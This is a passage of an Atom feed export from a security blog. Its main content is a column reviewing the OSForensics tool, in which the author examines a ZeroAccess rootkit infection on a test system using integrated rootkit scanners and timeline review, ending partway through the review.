<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-20011960</id><updated>2012-01-22T16:10:15.514-08:00</updated><category term='Russ McRee'/><category term='logging'/><category term='SP800-60'/><category term='log analysis'/><category term='development'/><category term='malware'/><category term='Dradis'/><category term='XSSed'/><category term='McAfee'/><category term='RSA'/><category term='U.S. Bank'/><category term='Infrae'/><category term='Hacker Free Site'/><category term='vulnerabilities'/><category term='rsnake'/><category term='incident management'/><category term='ASP.NET.MVC'/><category term='John Stewart'/><category term='Linux Magazine'/><category term='OWASP'/><category term='ActiveCampaign'/><category term='ScanAlert'/><category term='FileAdvisor'/><category term='Mark Cuban'/><category term='Secunia'/><category term='AppRiver'/><category term='fraud'/><category term='HBGary'/><category term='trustmark'/><category term='Applicure'/><category term='Hacker Safe'/><category term='malicious'/><category term='visualization'/><category term='OpenVAS'/><category term='insider training'/><category term='incident response'/><category term='Mike Bailey'/><category term='Backtrack'/><category term='Lenny Zeltser'/><category term='Blue River Interactive Group'/><category term='HeX'/><category term='ASV'/><category term='IIS'/><category term='bleedingedge threats'/><category term='Netgear'/><category term='cyber defense challenge'/><category term='nsm'/><category term='Snort'/><category term='ISC'/><category term='jeremiah grossman'/><category term='TrueCrypt'/><category term='CIA'/><category term='open redirect vulnerability'/><category term='OWASP Top 10'/><category term='Raffael Marty'/><category term='correlation'/><category term='intrusion prevention'/><category term='ameriprise'/><category term='emerging threats'/><category term='gosava'/><category term='Python'/><category term='IDS'/><category term='NAC'/><category term='American Express'/><category term='tendenci'/><category term='reverse engineering'/><category term='Avactis'/><category term='hacking'/><category term='Argus'/><category term='sqi'/><category term='OSSEC'/><category term='ModSecurity'/><category term='incident handling'/><category term='ssl-explorer'/><category term='Winferno'/><category term='WebSafe Shield'/><category term='desktopsmiley'/><category term='AIRT'/><category term='pwnies'/><category term='response'/><category term='CWE'/><category term='Eva Chen'/><category term='data breach'/><category term='SDL'/><category term='pcap'/><category term='toolsmith'/><category term='spyware'/><category term='exploitable redirects'/><category term='Atrivo'/><category term='CompactCMS'/><category term='CSRF'/><category term='fwknop'/><category term='National City Bank'/><category term='web application security'/><category term='Kees Leune'/><category term='bkuehat'/><category term='Data Loss Database'/><category term='steekR'/><category term='Storm'/><category term='bot'/><category term='Zango'/><category term='OSINT'/><category term='banks'/><category term='information disclosure'/><category term='REI'/><category term='Aurora'/><category term='Mandiant'/><category term='OSF'/><category term='phishing'/><category term='AIG'/><category term='packet analyis'/><category term='disclosure'/><category term='Intercage'/><category term='memory analysis'/><category term='QSA'/><category term='compliance'/><category term='Ivan Ristic'/><category term='single packet authorization'/><category term='Verizon'/><category term='vpn'/><category term='NetworkMiner'/><category term='Dancho Danchev'/><category term='nsm-console'/><category term='Redmondmag'/><category term='Sava'/><category term='Pete Hoekstra'/><category term='M86'/><category term='Kaspersky'/><category term='Visa'/><category term='PII'/><category term='breaches'/><category term='ISS.Xforce'/><category term='penetration testing'/><category term='solutions accelerator'/><category term='PTK'/><category term='ControlScan'/><category term='open source'/><category term='CyberMonday'/><category term='PlanetLuc'/><category term='SQL injection'/><category term='remediation'/><category term='(IN)SECURE'/><category term='NIST'/><category term='Flash'/><category term='F-Secure'/><category term='mamma.com'/><category term='TrendMicro'/><category term='wsnpoem'/><category term='Joe Pierini'/><category term='homebusinessinstitution.com'/><category term='intrusion detection'/><category term='OSVDB'/><category term='CIAC'/><category term='Defcon'/><category term='SmarterTools'/><category term='gpg4win'/><category term='Adobe'/><category term='JPMorgan Chase'/><category term='mckt'/><category term='Sunbelt'/><category term='Gary Hoglund'/><category term='TIAA-CREF'/><category term='sumolinux'/><category term='Ticketmaster'/><category term='IPS'/><category term='Merrill Lynch'/><category term='economy'/><category term='SANS'/><category term='EstDomains'/><category term='Adeona'/><category term='cloud'/><category term='CVD'/><category term='Maltego'/><category term='MIR-ROR'/><category term='APT'/><category term='forensics'/><category term='Splunk'/><category term='Pligg'/><category term='HIPAA'/><category term='NFAT'/><category term='cross-site request forgery'/><category term='El Jefe'/><category term='Actns/Swif.T'/><category term='book review'/><category term='swf'/><category term='WebCollab'/><category term='Volatility'/><category term='Javelin'/><category term='FIRST'/><category term='XSS'/><category term='ColdFusion'/><category term='threat modeling'/><category term='CVE'/><category term='ID Ten C Award'/><category term='MoonSols'/><category term='SOX'/><category term='APWG'/><category term='Troy Larson'/><category term='directory traversal'/><category term='Zbot'/><category term='XSSed.com'/><category term='pci dss'/><category term='Malzilla'/><category term='Paciolan'/><category term='WhiteHat'/><category term='integrity monitoring'/><category term='malware analysis tools'/><category term='Information Security'/><category term='RAPIER'/><category term='Mandiant Memoryze'/><category term='Helix'/><category term='SaaS'/><category term='DVL'/><category term='Gunter Ollman'/><category term='analysis'/><category term='rfi'/><category term='Redmond Media Group'/><category term='PHPIDS'/><category term='SQLi'/><category term='US-CERT'/><category term='Pcapr'/><category term='Eric Cole'/><category term='apache'/><category term='1105 Media'/><category term='Bitrix'/><category term='Samurai Linux'/><category term='aanval'/><category term='PCI'/><category term='cross-site scripting'/><category term='dban'/><category term='security misconfuguration'/><category term='Bit9'/><category term='online finance flaw'/><category term='SIFT'/><category term='WebDAV'/><category term='email encryption'/><category term='YouTube'/><category term='monitoring'/><category term='malcode analysis'/><category term='issa'/><category term='McAfee Secure'/><category term='adito'/><category term='PC Tools'/><category term='McAfee Secure Standard'/><category term='Silva'/><category term='Zeus'/><category term='cross-site framing'/><category term='Suricata'/><category term='fail'/><category term='OffVis'/><category term='ASS Cert'/><category term='open redirect'/><category term='threats'/><category term='Peter Silberman'/><title type='text'>HolisticInfoSec</title><subtitle type='html'>The HolisticInfoSec.org blog includes follow-up on previously written articles and research, as well as research and rants. While the goal is promoting standards, simplicity, and efficiency in achieving holistic information security, we occasionally rally against industry shortcomings where necessary.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default?start-index=101&amp;max-results=100'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>215</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-20011960.post-5559405480428998831</id><published>2012-01-17T21:02:00.000-08:00</published><updated>2012-01-18T23:16:11.082-08:00</updated><title type='text'>STOP SOPA!</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://americancensorship.org/" target="_blank"&gt;&lt;img border="0" height="325" src="http://1.bp.blogspot.com/-AilQvUA4LmY/TxZUqS2mAvI/AAAAAAAAAnE/RSphR_wMpLs/s400/stopsopa.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-5559405480428998831?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/5559405480428998831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=5559405480428998831' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5559405480428998831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5559405480428998831'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2012/01/stop-sopa.html' title='STOP SOPA!'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-AilQvUA4LmY/TxZUqS2mAvI/AAAAAAAAAnE/RSphR_wMpLs/s72-c/stopsopa.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6882997938233673584</id><published>2012-01-05T12:15:00.000-08:00</published><updated>2012-01-05T12:15:08.039-08:00</updated><title type='text'>toolsmith: ZeroAccess analysis with OSForensics</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-iSNjCWpMFzg/TwXwx-OtnSI/AAAAAAAAAlk/Y9ZZp7soCbI/s1600/title.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="167" src="http://1.bp.blogspot.com/-iSNjCWpMFzg/TwXwx-OtnSI/AAAAAAAAAlk/Y9ZZp7soCbI/s200/title.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Prerequisites&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Windows &lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Happy New Year:&lt;/b&gt;“A New Year's resolution is something that goes in one year and out the other.”- Author Unknown&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Introduction&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;December is the time of year when I post the ToolsmithTool of the Year survey for reader’s to vote on their favorite tool of thegiven year. Please do take a moment to &lt;a href="http://holisticinfosec.blogspot.com/2011/12/choose-2011-toolsmith-tool-of-year.html" target="_blank"&gt;vote&lt;/a&gt;.&amp;nbsp;What’snice is that I often receive inquiries from tool developers who would likeconsideration for coverage in toolsmith. David Wren, Managing Director, ofPassMark Software caught me at just the right moment as I was topic hunting forthis month’s column. PassMark, out of Sydney, Australia, has been known for benchmarkand diagnostic tools but has recently dipped its tow in the digital forensicspool with &lt;a href="http://www.osforensics.com/" target="_blank"&gt;OSForensics&lt;/a&gt;.&amp;nbsp;I givePassMark props for snappy marketing. OSForensics, “Digital Investigation for anew era” coupled with the triumvirate of Discover, Identify, and Manage makesfor a good pitch, but as always we need tools that do as they do, not as theysay. So what can we expect from OSForensics? According to David, who providedme with prerequisite vendor/developer content, the pending 1.1 release ofOSForensics expected in mid-January 2012 will include:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Inclusion of a tree view style file systembrowser (Windows Explorer replacement).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Indexing &amp;amp; searching of the contents ofE-mail attachments. At the moment just the E-mail content and the file names ofattachments are indexed.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Improvements to add search results to a casedirectly from search history (efficiency improvement)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ability to add quick notes to a case. At themoment adding arbitrary notes is a 2 step process.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Improvements in the built-in image viewer.Better quality image scaling &amp;amp; more file properties.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Minor improvements in the way E-mails areexported&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Significant speed improvements in the window'sregistry browser&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;A bug fix for handling of dates in Spanishlanguage E-mails.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Some minor documentation changes&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Existing features include disk imaging, disk imagemounting, raw hex view of disk,&amp;nbsp; manualcarving, a registry viewer, forensic copy of network files, testing &amp;amp;zeroing of external drives prior to imaging, file hashing, live memory dumping,detection of files with wrong extensions via signatures, case management,reporting, 64bit&amp;nbsp; support, and more.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;The OSForensics website has an extensive FAQ as wellexcellent videos and tutorials. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Please note that there is a Free Edition and a ProEdition. For this article I tested the 1.0 Pro version of OSForensics.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Integratingadditional tools into OSForensics&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;One of the things I like most about OSForensics is theability to plug in other tools. There’s a great tutorial for enhancingOSForensics with Harlan Carvey’s &lt;a href="http://regripper.wordpress.com/" target="_blank"&gt;RegRipper&lt;/a&gt;&amp;nbsp;thatwill give you a solid starting point for this activity. Friend and reader JeffC. expressed interest in rootkit analysis this month so I’m going to use thisopportunity to integrate &lt;a href="http://www.gmer.net/" target="_blank"&gt;GMER&lt;/a&gt;&amp;nbsp;and&lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897445" target="_blank"&gt;RootkitRevealer&lt;/a&gt;&amp;nbsp;into OSForensics.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As I ran OSForensics on a Windows XP system from a USBkey, I copied GMER and RootkitRevealer to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;E:\OSForensics\AppData\SysInfoTools&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I then navigated to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;SystemInformation&lt;/span&gt; in the OSForensics UI, selected &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Add List&lt;/span&gt; and created a Rootkit Analysis list, followed &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Add&lt;/span&gt; under &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Commands&lt;/span&gt; and added the command to execute GMER andRootkitRevealer as seen in &lt;b&gt;Figure 1&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Ct2JeRmVovo/TwYEH8tUMMI/AAAAAAAAAms/z1_HYZn4etI/s1600/RootkitAnalysis.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="181" src="http://2.bp.blogspot.com/-Ct2JeRmVovo/TwYEH8tUMMI/AAAAAAAAAms/z1_HYZn4etI/s320/RootkitAnalysis.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span style="font-size: small; text-align: -webkit-auto;"&gt;&lt;b&gt;Figure 1: &lt;/b&gt;Rootkit Analysis tools added&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;Keep in mind, you can add any of your preferred tools toOSForensics and their execution as well as their output will be captured aspart of OSForensics case management capabilities.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;RunningOSForensics&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;For ease of viewing, right-click the menu on the leftside of the OSForensics UI and choose thin buttons as this will present alloptions without scrolling.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;One note of interest before diving in: OSForensics allowsinstallation on a base analysis system from which you can then &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Install to USB&lt;/span&gt; so as to run it from aUSB key as part of your field kit as seen in &lt;b&gt;Figure 2&lt;/b&gt;. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-l_hcpW9qiSI/TwYDo5a6K-I/AAAAAAAAAmg/guviB-XObCs/s1600/InstallToUSB.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="275" src="http://4.bp.blogspot.com/-l_hcpW9qiSI/TwYDo5a6K-I/AAAAAAAAAmg/guviB-XObCs/s320/InstallToUSB.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span style="font-size: small; text-align: -webkit-auto;"&gt;&lt;b&gt;Figure 2:&lt;/b&gt; Install OSForensics to a USB key&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;Jeff, as part of his expressed interest in rootkitanalysis, also provided me with a perfect sample with which to compromise mytest system. Nomenclature for this little nugget includes Jorik and Sirefef butyou may now it best as Zaccess or ZeroAccess. To read a truly in-depth study ofZeroAccess, check out Giuseppe Bonfa’s fine work in four parts over at &lt;a href="http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/" target="_blank"&gt;InfosecResources&lt;/a&gt;, aswell as a recent update from Pedro Bueno on the &lt;a href="http://isc.sans.edu/diary.html?storyid=12079" target="_blank"&gt;ISC Diary&lt;/a&gt;.ZeroAccess has been rolled into the BlackHole Exploit Kit and is often used incrimeware bundles for ad clicking.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;This particular sample (MD5: 3E6963E23A65A38C5D565073816E6BDC)is VMWare-aware so I targeted my Windows XP SP 3 system running Windows SteadyState and executed &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;QuickTimeUpdate.exe&lt;/span&gt;(it only plays a real QuickTime update on TV). &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As with any tool of OSForensic’s ilk, I started theprocess by creating a case which is as easy clicking &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Start&lt;/span&gt; then &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;CreateCase&lt;/span&gt;. The OSForensics UI is insanely intuitive and simple; if you’re oneof those who refuses to read manuals, FAQs, and/or tutorials you’ll still getunderway in short order. With most forensics oriented multi-functional toolsthat include indexing I always make indexing my second process. Yep, it’s aseasy as &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Create Index&lt;/span&gt;. I infectedthis system on 12/26/11 at 1630 hours so a great next step for me was to review&lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Recent Activity&lt;/span&gt; to see what wasnoteworthy. Based on a date range-limited search under &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Recent Activity&lt;/span&gt; I noted a significant spike in events inthe 1600 hour. I right-clicked on the resulting histogram for the hour ofinterest and selected &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Show these files&lt;/span&gt;.The result, as seen in &lt;b&gt;Figure 3&lt;/b&gt;, shows all the cookies spawned when ZeroAccesstapped into all its preferred ad channels. All cookies in &lt;b&gt;Figure 3&lt;/b&gt;, includingthose for switchadhub.com, demdex.com, and displayadfeed.com were created righton the heels of the infection at 1630 hours. These are services malware writersuse to track clicks and campaign success.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-gLGy3UrVskA/TwYBPnqy-pI/AAAAAAAAAmI/QW1xHQDq2oc/s1600/RecentActivity.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/-gLGy3UrVskA/TwYBPnqy-pI/AAAAAAAAAmI/QW1xHQDq2oc/s320/RecentActivity.PNG" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span style="font-size: small; text-align: -webkit-auto;"&gt;&lt;b&gt;Figure 3:&lt;/b&gt; ZeroAccess’ malicious click campaign evidence via OSForensics&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;I had not browsed to any websites and on this host wouldhave done so via a browser other than Internet Explorer; as such this activity aswritten to &lt;span style="font-family: 'Courier New';"&gt;C:\Documents andSettings\LocalService\LocalSettings\Temporary Internet Files\Content.IE5&lt;/span&gt;clearly occurred in the background.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I always take a network capture during malware runtimeand the resulting PCAP acquired while analyzing this version of ZeroAccessincluded connections to a well-known malware redirection service at 67.201.62.*.Search &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;"67.201.62" malware&lt;/span&gt;and you’ll see what I mean.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I then opted to call GMER from OSForensics as discussedearlier during &lt;b&gt;Integration&lt;/b&gt;. Ifyou’re not familiar GMER is the defacto standard for rootkit detection. Once aGMER scan is complete, you can choose to dump detected modules as seen in&lt;b&gt;Figure 4&lt;/b&gt; via &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Dump module&lt;/span&gt;. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a 